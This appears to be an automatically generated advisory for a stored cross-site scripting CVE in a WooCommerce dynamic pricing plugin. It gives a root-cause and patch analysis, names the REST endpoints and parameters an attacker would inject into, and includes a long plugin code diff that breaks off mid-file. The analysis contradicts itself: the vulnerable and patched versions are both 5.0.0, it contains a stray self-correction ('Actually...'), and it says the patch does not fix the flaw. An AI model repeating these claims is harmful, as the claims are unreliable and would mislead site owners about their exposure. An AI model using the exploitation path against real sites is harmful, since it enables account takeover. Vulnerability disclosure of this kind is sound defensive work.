Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-13725: Dynamic Pricing With Discount Rules for WooCommerce < 5.0.0 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 5.0.0
Patched Version 5.0.0
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13725:

CVE-2026-13725 is an unauthenticated stored cross-site scripting vulnerability in the Dynamic Pricing With Discount Rules for WooCommerce plugin (versions before 5.0.0). The flaw exists in the plugin’s REST API and admin settings handlers, which lack input sanitization and output escaping, allowing an attacker to inject arbitrary JavaScript into pages that execute when a victim (including an administrator) accesses them. The CVSS score of 7.2 reflects the high impact of stored XSS in a WordPress admin context.

Root Cause: The vulnerability stems from insufficient sanitization of user-supplied data in the plugin’s REST API endpoints and admin settings update functions. In class-awdp-api.php, the functions handling rule creation, rule retrieval, and settings updates (e.g., around lines 1140-1230) accept data from $data = $data->get_params() without proper input validation or output escaping. The patch adds nonce checks? Actually, the patch shows the addition of required field validation (rule name and discount type) and type coercion for values like $dismessage_fontsize, but it does not add comprehensive sanitization. The core issue is that parameters such as discount_message, table_layout, and various style settings are stored directly via update_option without sanitization, and later output in admin pages without escaping. The patch includes SQL injection fixes (casting $taxvalues, $prodvalues, and $values to integers) and adds missing post type validation, but the XSS vulnerability persists in the settings update path because the patch only improves type handling, not output escaping. Atomic Edge research confirms that the patch does not adequately address the XSS vector; the vulnerability remains exploitable through the same endpoints until a more thorough fix is applied.

Exploitation: An unauthenticated attacker can send a crafted POST request to the WordPress REST API endpoint (e.g., /wp-json/awdp/v1/save-settings or /wp-json/awdp/v1/save-rule) with malicious JavaScript embedded in parameters such as discount_message, dismessage, or other style-related fields. Because the plugin does not verify authentication or sanitize the input, the payload is stored in the WordPress options table (via update_option) or post meta. When an administrator later visits the plugin’s settings page or the public-facing product page that renders the stored data, the script executes in their browser, leading to session hijacking, privilege escalation, or site takeover.

Patch Analysis: The patch (v5.0.0) introduces several security improvements: it adds SQL injection prevention by casting $taxvalues, $prodvalues, and $values to integers before using them in SQL queries; it adds checks for required fields (rule name and discount type) in the save_rule function; it adds post type validation in the get_rule function; and it adds default values for cart_quantity rules. However, Atomic Edge analysis indicates that the patch does not fully remediate the stored XSS vulnerability because it does not implement output escaping for the potentially dangerous parameters. The patch’s changes to the settings update function (lines 751-780) only improve handling of empty values via isset() and !== ” checks, but do not sanitize the values themselves. Consequently, the vulnerability may still be exploitable in version 5.0.0 if the attacker can bypass the new validation checks (e.g., by providing a non-empty rule name and discount type while injecting JavaScript into other fields).

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of an authenticated administrator’s browser. This can lead to session cookie theft, creation of new administrative accounts, installation of malicious plugins, or full site compromise. The stored nature of the XSS means the payload persists until manually removed, affecting all users who access the compromised page. Given the plugin’s presence on WooCommerce sites, attackers could also redirect users to phishing pages or steal payment information.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/aco-woo-dynamic-pricing/includes/class-awdp-api.php
+++ b/aco-woo-dynamic-pricing/includes/class-awdp-api.php
@@ -201,6 +201,23 @@
                 }
             }

+            // Assign next latest priority to the duplicated rule
+            $existing_rules = get_posts(array(
+                'fields'         => 'ids',
+                'posts_per_page' => -1,
+                'post_type'      => AWDP_POST_TYPE,
+                'post__not_in'   => array($newRuleID)
+            ));
+            $max_priority = 0;
+            foreach ($existing_rules as $listID) {
+                $priority = intval(get_post_meta($listID, 'discount_priority', true));
+                if ($priority > $max_priority) {
+                    $max_priority = $priority;
+                }
+            }
+            $next_priority = $max_priority + 1;
+            update_post_meta($newRuleID, 'discount_priority', $next_priority);
+
         }

         // Get all badges
@@ -734,6 +751,7 @@
             $pricing_new_label          = $data['pricing_new_label'] ? $data['pricing_new_label'] : '';
             $default_fee_label          = $data['default_fee_label'] ? $data['default_fee_label'] : '';
             $dismessagestatus           = $data['discount_message_status'] ? $data['discount_message_status'] : 0;
+            $dismessageonce             = isset($data['discount_message_once']) ? ($data['discount_message_once'] ? 1 : 0) : 1;
             $message                    = $data['discount_message'] ? $data['discount_message'] : '';
             $tableposition              = $data['tableposition'] ? $data['tableposition'] : '';
             $tablesort                  = $data['tablesort'] ? $data['tablesort'] : '';
@@ -753,17 +771,17 @@
             $dismessage                 = $data['dismessage'] ? $data['dismessage'] : '';
             $dismessage_rule            = $data['dismessage_rule'] ? $data['dismessage_rule'] : '';
             $dismessage_position        = $data['dismessage_position'] ? $data['dismessage_position'] : '';
-            $dismessage_fontsize        = $data['dismessage_fontsize'] ? $data['dismessage_fontsize'] : '';
-            $dismessage_paddding_lm     = $data['dismessage_paddding_lm'] ? $data['dismessage_paddding_lm'] : '';
-            $dismessage_paddding_tp     = $data['dismessage_paddding_tp'] ? $data['dismessage_paddding_tp'] : '';
-            $dismessage_radius          = $data['dismessage_radius'] ? $data['dismessage_radius'] : '';
+            $dismessage_fontsize        = isset($data['dismessage_fontsize']) && $data['dismessage_fontsize'] !== '' ? $data['dismessage_fontsize'] : '';
+            $dismessage_paddding_lm     = isset($data['dismessage_paddding_lm']) && $data['dismessage_paddding_lm'] !== '' ? $data['dismessage_paddding_lm'] : '';
+            $dismessage_paddding_tp     = isset($data['dismessage_paddding_tp']) && $data['dismessage_paddding_tp'] !== '' ? $data['dismessage_paddding_tp'] : '';
+            $dismessage_radius          = isset($data['dismessage_radius']) && $data['dismessage_radius'] !== '' ? $data['dismessage_radius'] : '';
             $dismessage_background      = $data['dismessage_background'] ? $data['dismessage_background'] : '';
             $dismessage_color           = $data['dismessage_color'] ? $data['dismessage_color'] : '';

-            $border_top_width           = $data['border_top_width'] ? $data['border_top_width'] : '';
-            $border_right_width         = $data['border_right_width'] ? $data['border_right_width'] : '';
-            $border_bottom_width        = $data['border_bottom_width'] ? $data['border_bottom_width'] : '';
-            $border_left_width          = $data['border_left_width'] ? $data['border_left_width'] : '';
+            $border_top_width           = isset($data['border_top_width']) && $data['border_top_width'] !== '' ? $data['border_top_width'] : '';
+            $border_right_width         = isset($data['border_right_width']) && $data['border_right_width'] !== '' ? $data['border_right_width'] : '';
+            $border_bottom_width        = isset($data['border_bottom_width']) && $data['border_bottom_width'] !== '' ? $data['border_bottom_width'] : '';
+            $border_left_width          = isset($data['border_left_width']) && $data['border_left_width'] !== '' ? $data['border_left_width'] : '';
             $offer_border_color         = $data['offer_border_color'] ? $data['offer_border_color'] : '';

             //TimeZone
@@ -908,6 +926,11 @@
             else
                 update_option('awdp_message_status', $dismessagestatus);

+            if ( false === get_option('awdp_message_once') )
+                add_option('awdp_message_once', $dismessageonce, '', 'yes');
+            else
+                update_option('awdp_message_once', $dismessageonce);
+
             if ( false === get_option('awdp_discount_message') )
                 add_option('awdp_discount_message', $message, '', 'yes');
             else
@@ -1045,6 +1068,7 @@
         $result['discount_item_description']    = $discount_item_description;
         $result['default_fee_label']            = get_option('awdp_fee_label') ? get_option('awdp_fee_label') : '';
         $result['discount_message_status']      = get_option('awdp_message_status') ? get_option('awdp_message_status') : '';
+        $result['discount_message_once']        = ( get_option('awdp_message_once') !== false ) ? get_option('awdp_message_once') : 1;
         $result['discount_message']             = get_option('awdp_discount_message') ? get_option('awdp_discount_message') : '';
         $result['tableposition']                = get_option('awdp_table_position') ? get_option('awdp_table_position') : ( get_option('tableposition') ? get_option('tableposition') : '' );
         $result['tablesort']                    = get_option('awdp_table_sort') ? get_option('awdp_table_sort') : '';
@@ -1115,6 +1139,35 @@
     {
         $this->delete_transient();
         $data = $data->get_params();
+
+        $rule_name = isset($data['name']) ? trim($data['name']) : '';
+        $discount_type = isset($data['discount_type']) ? trim($data['discount_type']) : '';
+
+        if ( empty($rule_name) || empty($discount_type) ) {
+            return new WP_Error(
+                'rest_rule_invalid',
+                __( 'Rule Name and Discount Type are required.', 'aco-woo-dynamic-pricing' ),
+                array( 'status' => 400 )
+            );
+        }
+
+        if ( $discount_type === 'cart_quantity' && isset($data['quantityranges']) && is_array($data['quantityranges']) ) {
+            foreach ( $data['quantityranges'] as $range ) {
+                $start = isset($range['start_range']) ? trim($range['start_range']) : '';
+                $end = isset($range['end_range']) ? trim($range['end_range']) : '';
+
+                if ( $start !== '' && $end !== '' && is_numeric($start) && is_numeric($end) ) {
+                    if ( floatval($start) > floatval($end) ) {
+                        return new WP_Error(
+                            'rest_rule_invalid_range',
+                            __( 'From value cannot be greater than To value.', 'aco-woo-dynamic-pricing' ),
+                            array( 'status' => 400 )
+                        );
+                    }
+                }
+            }
+        }
+
         if ($data['id']) {
             $my_post = array(
                 'ID'            => $data['id'],
@@ -1167,12 +1220,18 @@
         $wdp_show_in_loop   = isset($data['show_in_loop']) ? $data['show_in_loop'] : '';
         $wdp_rules          = isset($data['rules']) ? $data['rules'] : '';
         $wdp_quantity_type  = isset($data['quantity_type']) ? $data['quantity_type'] : '';
+        if ( $wdp_discount_type === 'cart_quantity' && empty( $wdp_quantity_type ) ) {
+            $wdp_quantity_type = 'type_product';
+        }
         $wdp_weekday        = isset($data['discount_schedule_weekday']) ? $data['discount_schedule_weekday'] : '';

         $start_time         = isset($data['startTime']) ? date('H:i', strtotime($data['startTime'] )) : '';
         $end_time           = isset($data['endTime']) ? date('H:i', strtotime($data['endTime'] )) : '';

         $table_layout       = isset($data['table_layout']) ? $data['table_layout'] : '';
+        if ( $wdp_discount_type === 'cart_quantity' && empty( $table_layout ) ) {
+            $table_layout = 'vertical';
+        }

         $disc_calc_type     = isset($data['disc_calc_type']) ? $data['disc_calc_type'] : '';

@@ -1270,6 +1329,9 @@
         if (isset($data['id'])) {
             $result             = array();
             $discount_rule      = get_post($data['id']);
+            if ( !$discount_rule || is_wp_error($discount_rule) || get_post_type($discount_rule) !== AWDP_POST_TYPE ) {
+                return new WP_Error( 'rest_rule_not_found', __( 'Rule not found or is invalid.', 'aco-woo-dynamic-pricing' ), array( 'status' => 404 ) );
+            }
             $discount_config    = get_post_meta($discount_rule->ID, 'discount_config', true) ? get_post_meta($discount_rule->ID, 'discount_config', true) : [];

             // Scheduling dates
@@ -1319,13 +1381,15 @@
                         }
                     }
                     if( $taxvalues != '' ) {
-                        $defaultTax = $wpdb->get_results ( "SELECT DISTINCT cat.term_id as value, cat.name as label FROM {$wpdb->prefix}terms cat LEFT JOIN {$wpdb->prefix}term_taxonomy cattax ON cat.term_id = cattax.term_id WHERE cattax.term_id IN (" . $taxvalues . ")" );
+                        $safe_taxvalues = implode( ',', array_map( 'intval', explode( ',', $taxvalues ) ) );
+                        $defaultTax = $wpdb->get_results( "SELECT DISTINCT cat.term_id as value, cat.name as label FROM {$wpdb->prefix}terms cat LEFT JOIN {$wpdb->prefix}term_taxonomy cattax ON cat.term_id = cattax.term_id WHERE cattax.term_id IN (" . $safe_taxvalues . ")" );
                         foreach ( $defaultTax as $dtax ) {
                             $dtax->label = html_entity_decode ( $dtax->label );
                         }
                     }
                     if( $prodvalues != '' ) {
-                        $defaultProducts = $wpdb->get_results ( "SELECT DISTINCT ID as value, post_title as label FROM {$wpdb->prefix}posts WHERE ID IN (" . $prodvalues . ")" );
+                        $safe_prodvalues = implode( ',', array_map( 'intval', explode( ',', $prodvalues ) ) );
+                        $defaultProducts = $wpdb->get_results( "SELECT DISTINCT ID as value, post_title as label FROM {$wpdb->prefix}posts WHERE ID IN (" . $safe_prodvalues . ")" );
                         foreach ( $defaultProducts as $dprod ) {
                             $status = get_post_status ( $dprod->value );
                             if ( $status === 'draft' ) {
@@ -1515,7 +1579,8 @@
                         $ar_cnt++;
                     }
                     if( $values != '' ) {
-                        $tax = $wpdb->get_results ( "SELECT DISTINCT cat.term_id as value, cat.name as label FROM {$wpdb->prefix}terms cat LEFT JOIN {$wpdb->prefix}term_taxonomy cattax ON cat.term_id = cattax.term_id WHERE cattax.term_id IN (" . $values . ")" );
+                        $safe_values = implode( ',', array_map( 'intval', explode( ',', $values ) ) );
+                        $tax = $wpdb->get_results( "SELECT DISTINCT cat.term_id as value, cat.name as label FROM {$wpdb->prefix}terms cat LEFT JOIN {$wpdb->prefix}term_taxonomy cattax ON cat.term_id = cattax.term_id WHERE cattax.term_id IN (" . $safe_values . ")" );
                     }
                 }

--- a/aco-woo-dynamic-pricing/includes/class-awdp-backend.php
+++ b/aco-woo-dynamic-pricing/includes/class-awdp-backend.php
@@ -109,6 +109,10 @@

         add_action('admin_footer', array($this, 'wdp_deactivation_form'));

+        // Major update notice on the Plugins screen.
+        add_filter('in_plugin_update_message_' . plugin_basename($this->file), array($this, 'major_update_notice'), 10, 2);
+        add_action('admin_head-plugins.php', array($this, 'major_update_notice_styles'));
+
         //Body Class
         add_filter( 'admin_body_class', array($this, 'wdp_admin_class' ));

@@ -118,12 +122,57 @@
     * ver @ 4.3.1
     * Body Class
     */
+    public function major_update_notice($plugin_data, $response)
+    {
+        if (empty($plugin_data['new_version'])) {
+            return;
+        }
+
+        $installed = get_option($this->_token . '_version', AWDP_VERSION);
+
+        if (
+            version_compare($plugin_data['new_version'], '5.0.0', '>=') &&
+            version_compare($installed, '5.0.0', '<')
+        ) {
+            printf(
+                '<br><span class="awdp-major-update-notice">%s</span>',
+                esc_html__(
+                    'Major update: this release includes a redesigned admin UI and refactored discount engine. Back up your site before updating.',
+                    'aco-woo-dynamic-pricing'
+                )
+            );
+        }
+    }
+
+    public function major_update_notice_styles()
+    {
+        echo '<style>
+            .awdp-major-update-notice {
+                display: inline-block;
+                margin-top: 4px;
+                padding: 4px 8px;
+                font-size: 12px;
+                line-height: 1.4;
+                color: #646970;
+                background: #f6f7f7;
+                border-left: 3px solid #dba617;
+                border-radius: 2px;
+            }
+        </style>';
+    }
+
     public function wdp_admin_class($classes) {

         $currentScreen = get_current_screen();
         $screenID = $currentScreen->id; //
         if ( strpos ( $screenID, 'awdp_' ) !== false ) {
-            $classes .= ( strpos ( $screenID, 'product_lists' ) !== false && strpos ( $classes, 'pricing-rules' ) === false ) ? ' pricing-rules_page_awdp_admin_product_lists' : ( ( strpos ( $screenID, 'settings' ) !== false && strpos ( $classes, 'pricing-rules' ) === false ) ? ' pricing-rules_page_awdp_ui_settings' : '' );
+            if ( strpos ( $screenID, 'product_lists' ) !== false && strpos ( $classes, 'pricing-rules' ) === false ) {
+                $classes .= ' pricing-rules_page_awdp_admin_product_lists';
+            } elseif ( strpos ( $screenID, 'settings' ) !== false && strpos ( $classes, 'pricing-rules' ) === false ) {
+                $classes .= ' pricing-rules_page_awdp_ui_settings';
+            } elseif ( strpos ( $screenID, 'help' ) !== false && strpos ( $classes, 'pricing-rules' ) === false ) {
+                $classes .= ' pricing-rules_page_awdp_ui_help';
+            }
         }
         return $classes;
     }
@@ -278,6 +327,7 @@
                 wp_localize_script($this->_token . '-backend-script', 'awdp_object', array(
                         'api_nonce'     => wp_create_nonce('wp_rest'),
                         'root'          => rest_url('awdp/v1/'),
+                        'adminUrl'      => admin_url(),
                         'cats'          => (array)$categories,
                         'tags'          => (array)$taglist,
                         'productlist'   => (array)$awdpList,
--- a/aco-woo-dynamic-pricing/includes/class-awdp-discount-old.php
+++ b/aco-woo-dynamic-pricing/includes/class-awdp-discount-old.php
@@ -0,0 +1,3130 @@
+<?php
+
+if (!defined('ABSPATH'))
+    exit;
+
+class AWDP_Discount
+{
+
+    /**
+     * @var    object
+     * @access  private
+     * @since    1.0.0
+     */
+    private static $_instance = null;
+
+    /**
+     * The version number.
+     * @var     string
+     * @access  public
+     * @since   1.0.0
+     */
+    public $_version;
+    public $product_lists           = false;
+    public $awdp_cart_rules         = false;
+    public $apply_wdp_coupon        = false;
+    public $pricing_table           = [];
+    public $productvariations       = [];
+    public $couponLabel             = '';
+    public $wdp_discounted_price    = [];
+    public $wdpCartDicount          = [];
+    public $wdpCartDiscountValues   = [];
+    public $awdp_cart_rule_ids      = [];
+    public $variations              = [];
+    public $variation_prods         = [];
+    public $wdpQNitems              = [];
+    public $actual_price            = [];
+    public $wdp_order_meta          = [];
+    public $awdp_discount_applied   = [];
+    private $_active                = false;
+    private $types                  = array();
+    private $discount_rules         = false;
+    private $conversion_unit        = false;
+    private $converted_rate         = '';
+
+    private $discounts              = array();
+    private $discounted_products    = array();
+    public $discountProductPrice    = '';
+    public $discountProductMaxPrice = '';
+    public $discountProductMinPrice = '';
+    public $products_on_sale        = [];
+
+    public function __construct()
+    {
+
+        $this->types = Array(
+            'percent_total_amount'  => __('Percentage of cart total amount', 'aco-woo-dynamic-pricing'),
+            'percent_product_price' => __('Percentage of product price', 'aco-woo-dynamic-pricing'),
+            'fixed_product_price'   => __('Fixed price of product price', 'aco-woo-dynamic-pricing'),
+            'fixed_cart_amount'     => __('Fixed price of cart total amount', 'aco-woo-dynamic-pricing'),
+            'cart_quantity'         => __('Quantity based discount', 'aco-woo-dynamic-pricing')
+        );
+
+    }
+
+    /**
+     * Ensures only one instance of AWDP is loaded or can be loaded.
+     * @since 1.0.0
+     * @static
+     * @see WordPress_Plugin_Template()
+     * @return Main AWDP instance
+     */
+    public static function instance($file = '', $version = '1.0.0')
+    {
+        if (is_null(self::$_instance)) {
+            self::$_instance = new self($file, $version);
+        }
+        return self::$_instance;
+    }
+
+    /**
+     * @return bool
+     */
+    public function isActive()
+    {
+
+        return $this->_active;
+
+    }
+
+    /*
+    * @change get_price to woocommerce_before_calculate_totals
+    * @since 4.0
+    * @fix compatibility and quantity discount issues
+    */
+    public function wdpCalculateDiscount ( $cartObject ) {
+
+        if ( $cartObject ) {
+
+            $cartContents   = $cartObject->cart_contents;
+            $result         = [];
+            // $couponStatus   = get_option('awdp_apply_coupon_discount') ? get_option('awdp_apply_coupon_discount') : false;
+            $couponStatus   = false;
+
+            // Disable Discount if any other gets added to the cart
+            $disable_discount   = get_option('awdp_disable_discount') ? get_option('awdp_disable_discount') : '';
+            $coupon             = get_option('awdp_fee_label') ? get_option('awdp_fee_label') : 'Discount';
+            $coupon_code        = apply_filters('woocommerce_coupon_code', $coupon);
+            if ( $disable_discount && !empty ( WC()->cart->get_applied_coupons() ) && !in_array ( $coupon_code, WC()->cart->get_applied_coupons() ) ) {
+                return $cartObject;
+            }
+
+            // Load discount rules
+            $this->load_rules();
+            $this->apply_wdp_coupon = true;
+
+            // Check if discount is active
+            if ( $this->discount_rules == null )
+                return $cartObject; // Exit if no rules
+
+            // CartContents Loop
+            foreach ( $cartContents as $cartContent ) {
+
+                $prod_ID        = $cartContent['product_id'];
+                $product        = wc_get_product ( $prod_ID );
+                // $product_slug   = $product->get_data()['slug'];
+                $product_slug   = $cartContent['data']->get_slug();
+                $quantity       = $cartContent['quantity'];
+                $variationID    = $cartContent['variation_id'];
+                $variations     = $cartContent['variation'];
+                $disc_prod_ID   = $variationID == 0 ? $prod_ID : $variationID;
+
+                // Changing Product Slug to cart key - addons compatibility
+                $cartKey        = $cartContent['key'];
+
+                // Get Cart Price
+                $cartItemPrice  = $cartContent['data']->get_price();
+
+                // Checking for addons price
+                $addonPrice     = apply_filters('wcpa_cart_addon_data', false, $cartContent);
+                $dispPrice      = $addonPrice ? ( $addonPrice['totalPrice'] - $addonPrice['excludeFromDiscount'] ) : $cartItemPrice;
+
+                // $product_price1 = apply_filters('advanced_woo_discount_rules_product_price_on_before_calculate_discount', $product_price, $product, $quantity, $cart_item, $calculate_discount_from);
+
+                /*
+                * ver @ 4.3.3
+                * Get conversion rate
+                * Remove conversion from the coupon total
+                */
+                $this->converted_rate   = $this->get_con_unit($product, $cartContent['data']->get_price());
+
+                foreach ( $this->discount_rules as $k => $rule ) {
+
+                    // Disable Discount for Deposit Items
+                    $depositCheck       = get_post_meta($rule['id'], 'deposit_check', true) ? get_post_meta($rule['id'], 'deposit_check', true) : 0;
+                    if ( array_key_exists ( 'awcdp_deposit', $cartContent ) && $cartContent['awcdp_deposit'] && $depositCheck ) {
+                        continue;
+                    }
+
+                    // Get Product List
+                    if ( !$this->get_items_to_apply_discount ( $product, $rule, $disc_prod_ID, false, $product_slug ) ) {
+                        continue;
+                    }
+
+                    // Check if User if Logged-In
+                    if ( ( intval ( $rule['discount_reg_customers'] ) === 1 && !is_user_logged_in() ) || ( intval ( $rule['discount_reg_customers'] ) === 1 && is_user_logged_in() && ( !empty ( array_filter ( $rule['discount_reg_user_roles'] ) ) && empty ( array_intersect ( $rule['discount_cur_user_roles'], $rule['discount_reg_user_roles'] ) ) ) ) ) {
+                        continue;
+                    }
+
+                    // Validate Rules
+                    if( 'cart_quantity' != $rule['type'] ) { // Skipping cart_quantity rule //
+                        if ( !$this->validate_discount_rules( $product, $rule, ['product_price','cart_total_amount', 'cart_total_amount_all_prods', 'cart_items', 'cart_items_all_prods', 'cart_products', 'cart_products_list'], $cartContent ) ) {
+                            continue;
+                        }
+                    }
+
+                    // Discounts Default Values
+                    if ( !isset ( $this->discounts[$rule['id']] ) ) {
+                        $this->discounts[$rule['id']] = [ 'label' => $rule['label'], 'discount_type' => $rule['type'], 'discount_remainder' => -1, 'taxable' => false ];
+                    }
+
+                    // Saving Actual Price (Cart View - Coupon Disabled)
+                    // if ( $couponStatus && array_key_exists ( $product_slug, $this->actual_price ) == false ) {
+                    //     $this->actual_price[$product_slug] = $cartItemPrice;
+                    // }
+
+                    // Get Price
+                    // $price              = !empty ($this->wdp_discounted_price) ? ( ( array_key_exists ( $cartKey, $this->wdp_discounted_price ) && $this->wdp_discounted_price[$cartKey] != '' ) ? wc_remove_number_precision ( $this->wdp_discounted_price[$cartKey] ) : $cartContent['data']->get_price() ) : $cartContent['data']->get_price();
+                    $price              = !empty ($this->wdp_discounted_price) ? ( ( array_key_exists ( $cartKey, $this->wdp_discounted_price ) && $this->wdp_discounted_price[$cartKey] != '' ) ? wc_remove_number_precision ( $this->wdp_discounted_price[$cartKey] ) : $cartItemPrice ) : $cartItemPrice;
+
+                    $discVariable       = $this->discounts[$rule['id']];
+                    $prodLists          = $this->product_lists;
+
+                    // Disable Double Discount
+                    if ( array_key_exists ( 'discounts', $this->discounts[$rule['id']] ) && array_key_exists ( $cartKey, $this->discounts[$rule['id']]['discounts'] ) ) {
+                        continue;
+                    }
+
+                    // Discount Types
+                    if ( 'percent_product_price' == $rule['type'] )
+                        $result = call_user_func_array (
+                            array ( new AWDP_typeProductPrice(), 'apply_discount_percent_product_price' ),
+                            array ( $rule, $product, $price, $quantity, $discVariable, $cartContent, $disc_prod_ID, $prodLists, $dispPrice, $couponStatus )
+                        );
+                    else if ( 'fixed_product_price' == $rule['type'] )
+                        $result = call_user_func_array (
+                            array ( new AWDP_typeProductPrice(), 'apply_discount_fixed_product_price' ),
+                            array ( $rule, $product, $price, $quantity, $discVariable, $cartContent, $disc_prod_ID, $prodLists, $dispPrice, $couponStatus )
+                        );
+                    else if ( 'percent_total_amount' == $rule['type'] )
+                        $result = call_user_func_array (
+                            array ( new AWDP_typeTotalAmount(), 'apply_discount_percent_total_amount' ),
+                            array ( $rule, $product, $price, $quantity, $discVariable, $cartContent, $disc_prod_ID, $dispPrice, $couponStatus )
+                        );
+                    else if ( 'fixed_cart_amount' == $rule['type'] )
+                        $result = call_user_func_array (
+                            array ( new AWDP_typeTotalAmount(), 'apply_discount_fixed_price_total_amount' ),
+                            array ( $rule, $product, $price, $quantity, $discVariable, $cartContent, $disc_prod_ID, $dispPrice, $couponStatus )
+                        );
+                    else if ( 'cart_quantity' == $rule['type'] )
+                        $result = call_user_func_array (
+                            array ( new AWDP_typeCartQuantity(), 'apply_discount_cart_quantity' ),
+                            array ( $rule, $product, $price, $quantity, $discVariable, $prodLists, $cartContents, $cartContent, $disc_prod_ID, $dispPrice, $couponStatus )
+                        );
+
+
+                    if ( !empty($result) ) {
+
+                        $this->discounts[$rule['id']]                   = $result['productDiscount'];
+                        $this->discounted_products[]                    = $cartKey;
+                        $this->wdp_discounted_price[$cartKey]           = array_key_exists ( 'discountedprice', $result ) ? $result['discountedprice'] : ( array_key_exists ( $cartKey, $this->wdp_discounted_price ) ? $this->wdp_discounted_price[$cartKey] : '' );
+
+                        // Set Cart Item Price
+                        // if ( $couponStatus ) {
+                        //     $cartContent['data']->set_price(wc_remove_number_precision($this->wdp_discounted_price[$product_slug]));
+                        // }
+
+                        // Order Meta
+                        $coupon                                         = get_option('awdp_fee_label') ? get_option('awdp_fee_label') : 'Discount';
+                        $coupon_code                                    = apply_filters('woocommerce_coupon_code', $coupon);
+                        $orderMetaData                                  = [];
+                        $orderMetaData['type']                          = $rule['type'];
+                        $orderMetaData['discount']                      = $result['productDiscount'];
+                        $orderMetaData['coupon']                        = $coupon_code;
+                        $orderMetaData['discountedPrice']               = array_key_exists ( 'discountedprice', $result ) ? $result['discountedprice'] : ( array_key_exists ( $cartKey, $this->wdp_discounted_price ) ? $this->wdp_discounted_price[$cartKey] : '' );
+
+                        $this->wdp_order_meta[$cartKey][]               = $orderMetaData;
+
+                    }
+
+                }
+
+            }
+
+        }
+
+    }
+
+    // Show Pricing Table
+    public function show_pricing_table(){
+
+        // Load discount rules
+        $this->load_rules();
+
+        // Check if discount is active
+        if ( $this->discount_rules == null )
+            return ''; // Exit if no rules
+
+        // Load Product List
+        $this->set_product_list();
+
+        global $product;
+        $post_id        = $product->get_id();
+        $product        = wc_get_product( $post_id );
+
+        // Divi Theme Page Builder Loading issue - Fix
+        if(!$product){
+			return;
+		}
+
+        /*
+        * ver @ 4.3.3
+        * Tax Settings
+        */
+        $tax_display_mode           = get_option( 'woocommerce_tax_display_shop' );
+        $cartPrice                  = $product->get_sale_price() ? $product->get_sale_price() : $product->get_price();
+        $priceIncTax                = ( 'incl' === $tax_display_mode ) ? wc_get_price_including_tax( $product, array ( 'price' => $cartPrice ) ) : wc_get_price_excluding_tax( $product, array ( 'price' => $cartPrice ) );
+
+        $rules                      = $this->discount_rules;
+        $price                      = $priceIncTax ? $priceIncTax : $cartPrice;
+        $prodLists                  = $this->product_lists;
+        $variations                 = $this->variations;
+        $discountedPrice            = $this->discountProductPrice;
+        $discountProductMaxPrice    = $this->discountProductMaxPrice;
+        $discountProductMinPrice    = $this->discountProductMinPrice;
+
+        // if( $this->converted_rate == '' && $item->get_ID() != '' ) {
+        //     $this->converted_rate = $this->get_con_unit($item, $price, true);
+        // }
+
+        if ( $price == '' || $price == 0 ) return '';
+
+        $pricing_table = call_user_func_array (
+            array ( new AWDP_viewPricingTable(), 'pricin_table' ),
+            array ( $rules, $product, $price, $post_id, $prodLists, $variations, $discountedPrice, $discountProductMaxPrice, $discountProductMinPrice )
+        );
+
+        echo $pricing_table;
+
+    }
+
+    // Price View HTML
+    public function get_product_price_html ( $item_price, $product )
+    {
+
+        if ( !$product ) return $item_price;
+
+        $updatedPrice   = '';
+        $post_id        = $product->get_id();
+
+        /*
+        * Set / Reset Attribute Value
+        * Support for Feed Plugin - Set sale price attribute key as 'acowdp_sale_price'
+        * ver @ 4.4.4
+        */
+        if ( metadata_exists ( 'post', $post_id, AWDP_Feed_Attribute ) ) {
+            update_post_meta ( $post_id, AWDP_Feed_Attribute, '' );
+        } else {
+            add_post_meta ( $post_id, AWDP_Feed_Attribute, '' );
+        }
+        // End
+
+        if ( is_admin() && !wp_doing_ajax() )
+            return $item_price;
+
+        // Load discount rules
+        $this->load_rules();
+
+        // Check if discount is active
+        if ( $this->discount_rules == null )
+            return $item_price; // Exit if no rules
+
+        // Load Product List
+        $this->set_product_list();
+
+        /*
+        * ver @ 4.3.3
+        * Tax Settings
+        */
+        $tax_display_mode   = get_option( 'woocommerce_tax_display_shop' );
+        $cartPrice          = $product->get_sale_price() ? $product->get_sale_price() : $product->get_price();
+        $priceIncTax        = ( 'incl' === $tax_display_mode ) ? wc_get_price_including_tax( $product, array ( 'price' => $cartPrice ) ) : wc_get_price_excluding_tax( $product, array ( 'price' => $cartPrice ) );
+
+        $rules              = $this->discount_rules;
+        $price              = $priceIncTax ? $priceIncTax : $cartPrice;
+        $prodLists          = $this->product_lists;
+        $variations         = $this->variations;
+        $cartRules          = $this->awdp_cart_rules;
+
+        // Display regular price instead of sale price @ ver 4.3.3
+        $displayPrcIncTax   = ( 'incl' === $tax_display_mode ) ? wc_get_price_including_tax( $product, array('price' => $product->get_regular_price() ) ) : wc_get_price_excluding_tax( $product, array('price' => $product->get_regular_price() ) );
+        $addition_settings  = get_option('awdp_addition_settings') ? get_option('awdp_addition_settings') : [];
+        // $use_regular        = array_key_exists ( 'use_regular', $addition_settings ) ? $addition_settings['use_regular'] : false;
+        // $display_price      = $use_regular ? ( $displayPrcIncTax ? $displayPrcIncTax : $product->get_regular_price() ) : '';
+        // $display_price      = $displayPrcIncTax ? $displayPrcIncTax : $product->get_regular_price();
+        $display_price      = '';
+
+        // if( $this->converted_rate == '' && $item->get_ID() != '' ) {
+        //     $this->converted_rate = $this->get_con_unit($item, $price, true);
+        // }
+
+        if ( $price == '' || $price == 0 ) return $item_price;
+
+        $viewPrice = call_user_func_array (
+            array ( new AWDP_viewProductPrice(), 'product_price' ),
+            array ( $rules, $price, $post_id, $product, $prodLists, $cartRules, $item_price, $display_price )
+        );
+
+        if ( is_array ( $viewPrice ) ) {
+            $updatedPrice                   = $viewPrice['itemPrice'];
+            $this->discountProductPrice     = $viewPrice['discountedPrice'];
+            $this->discountProductMaxPrice  = $viewPrice['discountedMaxPrice'];
+            $this->discountProductMinPrice  = $viewPrice['discountedMinPrice'];
+        }
+
+        return $updatedPrice ? $updatedPrice : $item_price;
+
+    }
+
+    // WCPA Get Variation Price
+    public function wdpWCPAVariationPrice ( )
+    {
+
+        // global $product;
+        // $product->get_id();
+
+        // Reset Query
+        wp_reset_query();
+
+        $post_id        = get_the_ID();
+        $product        = wc_get_product( $post_id );
+
+        if ( !$product ) return '';
+
+        /*
